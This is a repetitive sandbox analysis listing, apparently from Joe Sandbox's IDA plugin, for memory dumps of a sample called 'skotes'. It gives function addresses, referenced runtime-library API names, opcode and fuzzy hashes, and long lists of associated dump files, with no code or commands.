Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 27d892ffb1e2f654f9877b761b9b5a6046b04361455ed56bb6f48b3356b6d999
Instruction ID: 7bde75d0cf40fcf165d31da57d1456f57ef7b1b42a514493caa52de0058de62b
Opcode Fuzzy Hash: 27d892ffb1e2f654f9877b761b9b5a6046b04361455ed56bb6f48b3356b6d999
Instruction Fuzzy Hash: 2A41D834A00208EFCF24DF68C8C4A9E7BF8BF49314F148155E8299B392D771DA15DB91

Function 00C5DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00C5DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00C5DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00C5DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00C5DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00C5DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00C5DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00C5DE74

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: eda60d4f891684814e5023dff15d9a395c0e94eb762980cf102da2d0f95119fa
Instruction ID: d1c6c6efcada5fdd9372b616faea878f262eb8d824bb60ebf479cd970eb230d5
Opcode Fuzzy Hash: eda60d4f891684814e5023dff15d9a395c0e94eb762980cf102da2d0f95119fa
Instruction Fuzzy Hash: F541B038A043449BDF28FFA484567AC77B16F11706F1440A8EC566B2C3DB744E8CEB6A

Function 00C5E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00C5E7D7

Part of subcall function 00C5E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00C5E577
Part of subcall function 00C5E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00C5E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00C5E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00C5E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00C5E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00C5E879
Concurrency::location::_Assign.LIBCMT ref: 00C5E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00C5E8B5

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 9a85bb83871e635d69de1ad63363228ec771e3a531455c4525c91fab208c4f77
Instruction ID: aad691465f6c30b82f9658cee02a5fc84508d2f43df458cbcfb682157308b5e3
Opcode Fuzzy Hash: 9a85bb83871e635d69de1ad63363228ec771e3a531455c4525c91fab208c4f77
Instruction Fuzzy Hash: B5415839A002049FCB04EF68C884BADB7B5FF48311F1481A9DD499B382DB34AA85CB95

Function 00C46E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00C46ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00C46F22
std::_Rethrow_future_exception.LIBCPMT ref: 00C46F32
__Mtx_unlock.LIBCPMT ref: 00C46FD5
__Mtx_unlock.LIBCPMT ref: 00C470DB
__Mtx_unlock.LIBCPMT ref: 00C47116

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: bfbc07995c0bba23086c88fa4a1225ae05e6202f43741d94aeb5f0339939f7b9
Instruction ID: 396d512482e35f74a561ad84292235f5a0c2cc47f852e8b869c0cec224ef5497
Opcode Fuzzy Hash: bfbc07995c0bba23086c88fa4a1225ae05e6202f43741d94aeb5f0339939f7b9
Instruction Fuzzy Hash: F5C1E3709053049BDF24DFB4C945BAEBBF4BF05310F00452EE86697692EB75EA08DB62

Function 00C544DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00C54538
ListArray.LIBCONCRT ref: 00C5456C
Hash.LIBCMT ref: 00C545D5
Hash.LIBCMT ref: 00C545E5

Part of subcall function 00C59C41: std::bad_exception::bad_exception.LIBCMT ref: 00C59C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00C5474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00C547A4

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
